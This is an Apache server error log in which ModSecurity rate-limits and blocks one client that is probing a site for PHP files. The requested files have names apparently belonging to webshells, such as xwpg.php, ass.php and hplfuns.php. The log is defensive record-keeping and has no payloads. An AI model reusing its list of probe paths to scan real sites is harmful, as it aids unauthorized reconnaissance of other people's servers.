[Wed Apr 15 01:02:56.127644 2026] [:error] [pid 62432:tid 62454] [client 20.240.133.195:32957] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2.php"] [unique_id "ad5zQLPtNET7V_vfTPfO0wAAAVM"]
[Wed Apr 15 01:02:56.651463 2026] [:error] [pid 62295:tid 62305] [client 20.240.133.195:38719] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2.php"] [unique_id "ad5zQBng-JDNFCa0BnhmdAAAAAY"]
[Wed Apr 15 01:02:57.176850 2026] [:error] [pid 62295:tid 62314] [client 20.240.133.195:25909] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2.php"] [unique_id "ad5zQRng-JDNFCa0BnhmdwAAAA8"]
[Wed Apr 15 01:02:57.701766 2026] [:error] [pid 62295:tid 62301] [client 20.240.133.195:6583] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/3.php"] [unique_id "ad5zQRng-JDNFCa0BnhmewAAAAI"]
[Wed Apr 15 01:02:58.227809 2026] [:error] [pid 62295:tid 62303] [client 20.240.133.195:37464] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/3.php"] [unique_id "ad5zQhng-JDNFCa0BnhmfgAAAAQ"]
[Wed Apr 15 01:02:58.752517 2026] [:error] [pid 62295:tid 62300] [client 20.240.133.195:36169] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/3.php"] [unique_id "ad5zQhng-JDNFCa0BnhmgQAAAAE"]
[Wed Apr 15 01:02:59.277109 2026] [:error] [pid 62295:tid 62305] [client 20.240.133.195:37447] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/3.php"] [unique_id "ad5zQxng-JDNFCa0BnhmhAAAAAY"]
[Wed Apr 15 01:02:59.799593 2026] [:error] [pid 62296:tid 62343] [client 20.240.133.195:25172] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/4.php"] [unique_id "ad5zQ8TNd04nWM2DK4SB2gAAAFA"]
[Wed Apr 15 01:03:00.324725 2026] [:error] [pid 17866:tid 17873] [client 20.240.133.195:45826] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/4.php"] [unique_id "ad5zRLx_17kv70EUVIlCUQAAAYU"]
[Wed Apr 15 01:03:00.854045 2026] [:error] [pid 62295:tid 62306] [client 20.240.133.195:36196] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/4.php"] [unique_id "ad5zRBng-JDNFCa0BnhmhwAAAAc"]
[Wed Apr 15 01:03:01.378433 2026] [:error] [pid 62295:tid 62321] [client 20.240.133.195:27040] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/4.php"] [unique_id "ad5zRRng-JDNFCa0BnhmigAAABY"]
[Wed Apr 15 01:03:01.915712 2026] [:error] [pid 62295:tid 62308] [client 20.240.133.195:34270] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/5.php"] [unique_id "ad5zRRng-JDNFCa0BnhmjgAAAAk"]
[Wed Apr 15 01:03:02.447511 2026] [:error] [pid 62297:tid 62355] [client 20.240.133.195:42560] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/5.php"] [unique_id "ad5zRqvogcWlrafOEaG7UwAAAQE"]
[Wed Apr 15 01:03:02.977127 2026] [:error] [pid 62295:tid 62305] [client 20.240.133.195:46407] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/5.php"] [unique_id "ad5zRhng-JDNFCa0BnhmkgAAAAY"]
[Wed Apr 15 01:03:03.501419 2026] [:error] [pid 17866:tid 17871] [client 20.240.133.195:33547] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/5.php"] [unique_id "ad5zR7x_17kv70EUVIlCVgAAAYM"]
[Wed Apr 15 01:03:04.028118 2026] [:error] [pid 62295:tid 62318] [client 20.240.133.195:46471] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/6.php"] [unique_id "ad5zSBng-JDNFCa0BnhmlAAAABM"]
[Wed Apr 15 01:03:04.554932 2026] [:error] [pid 62296:tid 62330] [client 20.240.133.195:7100] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/6.php"] [unique_id "ad5zSMTNd04nWM2DK4SB3wAAAEM"]
[Wed Apr 15 01:03:05.078647 2026] [:error] [pid 17866:tid 17877] [client 20.240.133.195:59650] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/6.php"] [unique_id "ad5zSbx_17kv70EUVIlCVwAAAYk"]
[Wed Apr 15 01:03:05.608357 2026] [:error] [pid 17926:tid 17944] [client 20.240.133.195:44354] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/6.php"] [unique_id "ad5zSfKxFvgDwMI04zBQ5gAAAcs"]
[Wed Apr 15 01:03:06.132980 2026] [:error] [pid 62295:tid 62304] [client 20.240.133.195:31741] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/9.php"] [unique_id "ad5zShng-JDNFCa0BnhmmgAAAAU"]
[Wed Apr 15 01:03:06.699160 2026] [:error] [pid 62297:tid 62369] [client 20.240.133.195:26473] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/9.php"] [unique_id "ad5zSqvogcWlrafOEaG7aAAAAQ8"]
[Wed Apr 15 01:03:07.239349 2026] [proxy_fcgi:error] [pid 62295:tid 62319] [client 20.240.133.195:26475] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 01:03:07.505989 2026] [proxy_fcgi:error] [pid 62295:tid 62299] [client 20.240.133.195:26475] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 01:03:07.772805 2026] [proxy_fcgi:error] [pid 62295:tid 62310] [client 20.240.133.195:26475] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 01:03:08.041379 2026] [proxy_fcgi:error] [pid 62295:tid 62311] [client 20.240.133.195:26475] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 01:03:08.308213 2026] [proxy_fcgi:error] [pid 62295:tid 62309] [client 20.240.133.195:26475] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 01:03:08.575193 2026] [proxy_fcgi:error] [pid 62295:tid 62308] [client 20.240.133.195:26475] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 01:03:08.843556 2026] [proxy_fcgi:error] [pid 62295:tid 62300] [client 20.240.133.195:26475] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 01:03:09.111329 2026] [proxy_fcgi:error] [pid 62295:tid 62312] [client 20.240.133.195:26475] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 01:03:09.379341 2026] [proxy_fcgi:error] [pid 62295:tid 62316] [client 20.240.133.195:26475] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 01:03:09.663300 2026] [proxy_fcgi:error] [pid 62295:tid 62322] [client 20.240.133.195:26475] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 01:03:09.930476 2026] [proxy_fcgi:error] [pid 62295:tid 62307] [client 20.240.133.195:26475] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 01:03:10.194626 2026] [:error] [pid 62295:tid 62315] [client 20.240.133.195:26475] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xwpg.php"] [unique_id "ad5zThng-JDNFCa0BnhmrwAAABA"]
[Wed Apr 15 01:03:10.719660 2026] [:error] [pid 62295:tid 62302] [client 20.240.133.195:32992] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xwpg.php"] [unique_id "ad5zThng-JDNFCa0BnhmsAAAAAM"]
[Wed Apr 15 01:03:11.246414 2026] [:error] [pid 62295:tid 62318] [client 20.240.133.195:38742] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xwpg.php"] [unique_id "ad5zTxng-JDNFCa0BnhmtAAAABM"]
[Wed Apr 15 01:03:11.808126 2026] [:error] [pid 62295:tid 62303] [client 20.240.133.195:25127] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xwpg.php"] [unique_id "ad5zTxng-JDNFCa0BnhmuAAAAAQ"]
[Wed Apr 15 01:03:12.341516 2026] [:error] [pid 17866:tid 17884] [client 20.240.133.195:7151] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ass.php"] [unique_id "ad5zULx_17kv70EUVIlCXgAAAZA"]
[Wed Apr 15 01:03:12.902993 2026] [:error] [pid 62297:tid 62370] [client 20.240.133.195:6706] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ass.php"] [unique_id "ad5zUKvogcWlrafOEaG7gwAAARA"]
[Wed Apr 15 01:03:13.426747 2026] [:error] [pid 17734:tid 17759] [client 20.240.133.195:42515] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ass.php"] [unique_id "ad5zUdN3xsztF3DFLWz7AQAAAJQ"]
[Wed Apr 15 01:03:13.957851 2026] [:error] [pid 62297:tid 62373] [client 20.240.133.195:65513] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ass.php"] [unique_id "ad5zUavogcWlrafOEaG7jgAAARM"]
[Wed Apr 15 01:03:14.491302 2026] [:error] [pid 62297:tid 62376] [client 20.240.133.195:45016] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "ad5zUqvogcWlrafOEaG7lQAAARY"]
[Wed Apr 15 01:03:15.048802 2026] [:error] [pid 62295:tid 62315] [client 20.240.133.195:38747] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "ad5zUxng-JDNFCa0BnhmwwAAABA"]
[Wed Apr 15 01:03:15.579563 2026] [:error] [pid 62297:tid 62366] [client 20.240.133.195:6739] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "ad5zU6vogcWlrafOEaG7ngAAAQw"]
[Wed Apr 15 01:03:16.129787 2026] [:error] [pid 17926:tid 17940] [client 20.240.133.195:40722] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "ad5zVPKxFvgDwMI04zBQ9wAAAcc"]
[Wed Apr 15 01:03:16.658196 2026] [:error] [pid 17734:tid 17754] [client 20.240.133.195:45043] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/no18.php"] [unique_id "ad5zVNN3xsztF3DFLWz7BgAAAI8"]
[Wed Apr 15 01:03:17.254139 2026] [:error] [pid 62432:tid 62450] [client 20.240.133.195:48407] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/no18.php"] [unique_id "ad5zVbPtNET7V_vfTPfO9gAAAU8"]
[Wed Apr 15 01:03:17.794111 2026] [:error] [pid 62297:tid 62354] [client 20.240.133.195:59641] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/no18.php"] [unique_id "ad5zVavogcWlrafOEaG7qgAAAQA"]
[Wed Apr 15 01:03:18.328125 2026] [:error] [pid 17804:tid 17830] [client 20.240.133.195:61021] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/no18.php"] [unique_id "ad5zVgAZKYxfpamecKd8SgAAANQ"]
[Wed Apr 15 01:03:18.854336 2026] [:error] [pid 17734:tid 17750] [client 20.240.133.195:48395] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fine.php"] [unique_id "ad5zVtN3xsztF3DFLWz7CQAAAIs"]
[Wed Apr 15 01:03:19.387333 2026] [:error] [pid 17734:tid 17747] [client 20.240.133.195:63014] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fine.php"] [unique_id "ad5zV9N3xsztF3DFLWz7EAAAAIg"]
[Wed Apr 15 01:03:19.919440 2026] [:error] [pid 17734:tid 17741] [client 20.240.133.195:48426] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fine.php"] [unique_id "ad5zV9N3xsztF3DFLWz7FwAAAII"]
[Wed Apr 15 01:03:20.476020 2026] [:error] [pid 62295:tid 62311] [client 20.240.133.195:40091] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fine.php"] [unique_id "ad5zWBng-JDNFCa0BnhmyAAAAAw"]
[Wed Apr 15 01:03:21.004297 2026] [:error] [pid 62295:tid 62309] [client 20.240.133.195:59647] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zample.php"] [unique_id "ad5zWRng-JDNFCa0BnhmygAAAAo"]
[Wed Apr 15 01:03:21.543819 2026] [:error] [pid 17866:tid 17889] [client 20.240.133.195:59585] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zample.php"] [unique_id "ad5zWbx_17kv70EUVIlCaQAAAZU"]
[Wed Apr 15 01:03:22.076104 2026] [:error] [pid 62432:tid 62450] [client 20.240.133.195:63524] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zample.php"] [unique_id "ad5zWrPtNET7V_vfTPfPAAAAAU8"]
[Wed Apr 15 01:03:22.602344 2026] [:error] [pid 62295:tid 62307] [client 20.240.133.195:38044] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zample.php"] [unique_id "ad5zWhng-JDNFCa0Bnhm0QAAAAg"]
[Wed Apr 15 01:03:23.138456 2026] [:error] [pid 62295:tid 62299] [client 20.240.133.195:27866] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "ad5zWxng-JDNFCa0Bnhm2AAAAAA"]
[Wed Apr 15 01:03:23.661456 2026] [:error] [pid 62295:tid 62301] [client 20.240.133.195:40076] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "ad5zWxng-JDNFCa0Bnhm3AAAAAI"]
[Wed Apr 15 01:03:24.185016 2026] [:error] [pid 17866:tid 17872] [client 20.240.133.195:36120] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "ad5zXLx_17kv70EUVIlCdQAAAYQ"]
[Wed Apr 15 01:03:24.711555 2026] [:error] [pid 62432:tid 62453] [client 20.240.133.195:27119] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "ad5zXLPtNET7V_vfTPfPAwAAAVI"]
[Wed Apr 15 01:03:25.251472 2026] [:error] [pid 62432:tid 62442] [client 20.240.133.195:63003] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xa.php"] [unique_id "ad5zXbPtNET7V_vfTPfPBAAAAUc"]
[Wed Apr 15 01:03:25.783403 2026] [:error] [pid 62295:tid 62303] [client 20.240.133.195:36119] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xa.php"] [unique_id "ad5zXRng-JDNFCa0Bnhm7wAAAAQ"]
[Wed Apr 15 01:03:26.351808 2026] [:error] [pid 62295:tid 62312] [client 20.240.133.195:63493] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xa.php"] [unique_id "ad5zXhng-JDNFCa0Bnhm9gAAAA0"]
[Wed Apr 15 01:03:26.885647 2026] [:error] [pid 17804:tid 17820] [client 20.240.133.195:31621] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xa.php"] [unique_id "ad5zXgAZKYxfpamecKd8TQAAAMo"]
